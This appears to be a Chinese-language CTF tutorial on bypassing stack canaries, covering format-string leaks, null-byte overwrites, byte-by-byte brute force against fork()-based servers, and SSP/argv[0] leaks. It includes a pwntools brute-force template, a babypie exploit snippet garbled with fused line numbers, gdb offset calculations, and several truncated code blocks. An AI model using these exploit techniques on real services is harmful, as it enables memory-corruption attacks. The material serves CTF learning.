PWN技巧-绕过Canary的几种姿势
1. 格式化字符串漏洞获取Canary
pl1='a'*0x49 |
2. 覆盖截断字符获取Canary
3. 逐字节爆破Canary
适用于有通过fork()函数创建的子进程的程序
爆破原理
- 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
- 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
- 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
通用模板
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('')
libc = ELF('./')
p.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(3):
info(f'-----No:{k+1} start,finding-----')
for i in range(256):
p.send(b'a'*(0x70-0xc)+canary+bytes([i]))
recv = p.recvuntil(b'welcome\n')
print(recv)
if b"stack" in recv:
continue
else:
canary += bytes([i])
success(f"canary => {canary.hex()}")
break示例
https://xzfile.aliyuncs.com/upload/affix/20190402135117-554ed694-550b-1.zip
起手一套经典连招
32位程序,开启了Canary和NX保护,随后IDA查看
程序中含有fork函数,是可进行爆破canary的重点
fun函数read有栈溢出,buf空间有100=0x64,而我们可以输入0x78的内容,很明显栈溢出
这个v2就是Canary
我们的思路就是一位一位爆破Canary
gdb bin1 |
from pwn import * |
getshell
4. SSP泄露Canary
适用于Flag存储于内存空间中的情况
Stack smash
OJ的smashes
Stack smash就是绕过canary保护的技术。在程序加载了canary保护之后,如果我们是在覆盖缓冲区的时候就会连带着覆盖了canary保护的cookie,这个时候程序就会报错。但是这个技术并不在乎是否报错,而是在乎报错的内容。stack smash技巧就是利用打印这一信息的程序来得到我们想要的内容。
这是因为在程序启动canary保护之后,如果发现canary被修改的话就会执stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。代码如下:void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在fortify_fail函数中就会输出我们想要的信息
ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值
xxxxxxxxxx21 1from pwn import 2# context.log_level = “debug”3context.terminal = [“deepin-terminal”, “-x”, “sh”, “-c”]45while True:6 try:7 io = process(“./babypie”, timeout = 1)8 9 # gdb.attach(io)10 io.sendafter(b”:\n”, b’a’ (0x30 - 0x8 + 1))11 io.recvuntil(b’a’ (0x30 - 0x8 + 1))12 canary = b’\0’ + io.recvn(7)13 success(canary.encode(‘hex’))14 15 # gdb.attach(io)16 io.sendafter(b”:\n”, b’a’ (0x30 - 0x8) + canary + b’bbbbbbbb’ + b’\x3E\x0A’)17 18 io.interactive()19 except Exception as e:20 io.close()21 print (e)python
老连招
开了Canary和NX
程序提供两次输入!_IO_gets(v3)和**_IO_getc(stdin)**两次输入都存在栈溢出漏洞
顺带提一下第二次的输入:将内容输入到stdio中,通过循环最后赋值给了byte_600D20,可以看到数组里面存放的是一条flag,此外程序中还提到了overwrite flag,所以这道题并不是拿shell,而是一道拿flag的题。回到前面的程序,v1变量接收第二次输入的字符串,并且会不断覆盖原有的flag内容
再看以下memset函数:memset((void *)((int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
这个函数的意思是从v1 + 0x600D20LL这个地址往后32 - v1字节的内容都以0替代。
函数原型`void memset( void ptr, int value, size_t num );
可以看到0x600D20处正是我们flag所在的位置,所以无论进不进行第二次输入,程序都会把原有的flag覆盖掉。这就很麻烦了,我们想要的就是利用canary打印报错的原理,将argv[0]指向这个flag的地址,但是flag无论怎么样都会被覆盖
这个时候就需要利用一个技巧:在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出
当可执行文件足够小时,它的不同区段可能会被多次映射
gdb调试
我们可以将程序用gdb打开,运行起来看一下程序映射的情况:
0x400000 0x401000 r-xp 1000 0 /home/zechariah/桌面/pwn_learn/start/smashes |
在调试的时候可以看到smashes被映射到两处地址中,所以只要在二进制文件(offset)0x0000 ~ 0x1000范围内的内容都会被映射到内存中,分别以0x400000和0x600000作为起始地址。flag在0x00000d20,所以会在内存中出现两次,分别位于0x00600d20和0x00400d20。所以虽然0x00600d20的位置虽然被覆盖了,但是依然可以在0x00400d20的位置找到flag
找argv[0]指针位置
知道了flag存放的位置,接下来需要找argv[0]所在的位置了,argv[0]有一个明显的特征,就是他会指向程序名,所以我们可以使用gdb在main函数处下断点,接下来找指向程序名的指针就会是argv[0]了
0x7fffffffdf2f存放程序名称,这个地址被放在0x7fffffffdbf8处,只要把0x7fffffffdbf8中的内容替换成flag即可
也可以用命令p & __libc_argv[0] 得到argv[0]的地址
寻找输入时的栈顶位置
先看一下gets函数调用的位置。
因为在64位程序中rdi寄存器中存放的是当前执行函数的一参,所以当前的栈顶就是gets函数的一参。所以当前栈顶的位置到刚才的argv[0]的偏移距离就是我们的溢出长度,所以我们通过计算0x7fffffffdbf8 - 0x7fffffffd9a0 = 0x218
也就是说我们输入内容要在0x218以后才能把argv[0]给覆盖掉,并且输入0x218个内容之后把0x00400d20写上就可以了
from pwn import * |

Ubuntu版本原因(libc 2.27之后加了其他机制),远程可打通,本地不行